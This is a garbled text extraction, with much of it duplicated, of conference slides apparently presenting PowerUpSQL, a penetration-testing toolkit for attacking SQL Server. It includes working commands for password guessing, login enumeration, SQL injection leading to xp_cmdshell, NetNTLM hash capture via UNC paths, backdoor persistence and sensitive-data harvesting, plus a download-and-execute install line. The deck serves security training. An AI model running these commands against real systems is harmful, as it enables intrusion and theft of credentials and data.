Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Why PowerShell Native to Windows
Run commands in memory
Run managed net code
Run unmanaged code
Avoid detection by legacy Anti-virus
Already flagged as trusted by most application whitelist solutions
A medium used to write many open source Pentest toolkits
PowerUpSQL
PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)
Scalability via runspace threading Flexibility via pipeline support
ps objects and data tables Portability
o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file
Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
PowerUpSQL
PowerUpSQL Overview Project GoalsProject Goals (Get-Abilities)
Scalability via runspace threading Flexibility via pipeline support
ps objects and data tables Portability
o No SMO dependancieso Net Framework librarieso PowerShell v2 compliant (in theory)o Single file
Functional Goals Discover SQL Servers from different attacker perspectives Inventory SQL Servers quickly Audit SQL Servers for common insecure configurations Escalate privileges quickly on SQL Servers Support authentication using SQL Login or Windows Credential
PowerUpSQL Overview Functions
Primary Attack Functions Invoke-SQLDumpInfo Invoke-SQLAudit Invoke-SQLEscalatePriv Invoke-SQLOsCmd
httpsgithubcomNetSPIPowerUpSQLwikiCurrently about 60 Functions
PowerUpSQL Overview Where can I get it
GithubhttpsgithubcomnetspiPowerUpSQL
PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL
PowerUpSQL Overview How do I install it
GithubImport-Module PowerUpSQLpsd1
IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)
Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy
PowerShell GalleryInstall-Module -Name PowerUpSQL
SQL ServerBasics
SQL Server BasicsWhat is SQL Server
A database platform An application A set of Windows services Each instance has its own set of
services
SQL Server Basics Account TypesAccount Types
Windows Accountso Used to logino Mapped to SQL Server login
SQL Server Loginso Used to logino Mapped to database account
Database Userso Used to access databases
SQL Server Basics Common RolesImportant SQL Server Roles
Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group
but in SQL Server
Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but
in SQL Server
Finding SQL Servers
Find SQL Servers TechniquesAttacker Perspective Attack Technique
Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources
Local User Services Registry entries
Domain User Service Principal Names Azure Portal PowerShell Modules
Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function
Unauthenticated Get-SQLInstanceFile
Unauthenticated Get-SQLInstanceUDPScan
Local User Get-SQLInstanceLocal
Domain User Get-SQLInstanceDomain
Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql
EscalatingPrivileges
Unauthenticated Domain User to SQL Login
Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers
Attacker Perspective Attack Technique
Unauthenticated Dictionary attacks using common user names and passwords
Unauthenticated Default passwords based on the SQL Server instance names
Local Windows or ADS Domain Account
Attempt to login using the current account
Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins
Attack Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Get-SQLServerLoginDefaultPw
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Testing Login Access PowerUpSQL CMDs
Testing Login Access Login CMD Examples
Attacker Perspective
Command Example
Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass
Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose
Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
AlternativeDomain User
runas noprofile netonly userdomainuser PowerShellexe
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15
Testing Login Access Reusing Result Lists
Process Command Example
Enumerate Accessible Servers
$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo
Get server information $Acessible | Get-SQLServerInfo -Verbose
Get database list $Acessible | Get-SQLDatabase -Verbose
Perform audit $Acessible | Invoke-SQLAudit -Verbose
Do I have to rerun instance discovery every time I want to run a command No
Testing Login Access Domain User Access
DEMO
Testing Login Access Demo
DEMO
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers
Admins give them access
Privilege inheritance issue on domain systems = Public role access
EscalatingPrivileges
SQL Login to SysAdmin
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
